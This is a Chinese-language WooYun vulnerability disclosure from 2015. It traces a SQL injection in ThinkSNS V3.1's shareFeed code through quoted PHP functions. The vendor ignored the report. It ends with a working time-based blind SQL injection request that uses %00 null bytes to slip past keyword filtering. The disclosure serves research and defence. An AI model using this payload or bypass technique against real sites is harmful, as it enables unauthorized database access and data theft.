当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(19) 关注此漏洞

缺陷编号: WooYun-2015-95891

漏洞标题: ThinkSNS 防御绕过思路(union select 真正的无限制sql注射)

相关厂商: ThinkSNS

漏洞作者: menmen519

提交时间: 2015-02-16 13:05

公开时间: 2015-04-02 10:23

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 15

漏洞状态: 漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: php+数字类型注射 php源码审核

3人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-16: 细节已通知厂商并且等待厂商处理中
2015-03-03: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-04-27: 细节向核心白帽子及相关领域专家公开
2015-05-07: 细节向普通白帽子公开
2015-05-17: 细节向实习白帽子公开
2015-04-02: 细节向公众公开

简要描述:

ThinkSNS 防御绕过思路(union select 真正的无限制sql注射)

详细说明:

经过我们的分析%00可以全局绕过:

code 区域
public function shareFeed()
{
// 获取传入的值
$post = $_POST;
// 安全过滤
foreach($post as $key => $val) {
$post[$key] = t($post[$key]);
}
// 过滤内容值
$post['body'] = filter_keyword($post['body']);

// 判断资源是否删除
if(empty($post['curid'])) {
$map['feed_id'] = $post['sid'];
} else {
$map['feed_id'] = $post['curid'];
}
$map['is_del'] = 0;

$isExist = model('Feed')->where($map)->count();
if($isExist == 0) {
$return['status'] = 0;
$return['data'] = '内容已被删除,转发失败';
exit(json_encode($return));
}

// 进行分享操作
$return = model('Share')->shareFeed($post, 'share');







跟进去shareFeed:

code 区域
public function shareFeed($data, $from = 'share', $lessUids = null)
{
// 返回的数据结果集
$return = array('status'=>0,'data'=>L('PUBLIC_SHARE_FAILED')); // 分享失败
// 验证数据正确性
if(empty($data['sid'])) {
return $return;
}
// type是资源所在的表名
$type = t($data['type']);
// 当前产生微博所属的应用
$app = isset($data['app_name']) ? $data['app_name'] : APP_NAME;
// 是否为接口形式
$forApi = $data['forApi'] ? true : false;
if(!$oldInfo = model('Source')->getSourceInfo($type, $data['sid'], $forApi, $data['app_name'])) {







这里有两个变量可以控制操作那个表:



再跟进来看看:

code 区域
public function getSourceInfo($table, $row_id, $_forApi = false, $appname = 'public') {
static $forApi = '0';
$forApi == '0' && $forApi = intval ( $_forApi );

$key = $forApi ? $table . $row_id . '_api' : $table . $row_id;
if ($info = static_cache ( 'source_info_' . $key )) {
return $info;
}

switch ($table) {
case 'feed' :
$info = $this->getInfoFromFeed ( $table, $row_id, $_forApi );





经过参数$type, $data['sid'] 可以构造一个新的表,我们发送url:

http://localhost/ThinkSNS_V3.1_20131108_28822/index.php?app=public&mod=Feed&act=shareFeed



postdata:

body=ccccccc&curid=1&type=user_data&sid=1 and if(ascii(substr((select user() fro%00m ts_user_data)1,1))=114,slee%00p(5),1)&app_name=



ok..........

漏洞证明:

修复方案:

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-04-02 10:23

厂商回复:

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-02-16 13:12 | 牛肉包子 ( 普通白帽子 | Rank:307 漏洞数:70 | baozisec)
    0

    mark

  2. 2015-02-16 13:15 | 老笨蛋 ( 路人 | Rank:29 漏洞数:8 | 老笨蛋一个)
    0

    mark.

登录后才能发表评论,请先 登录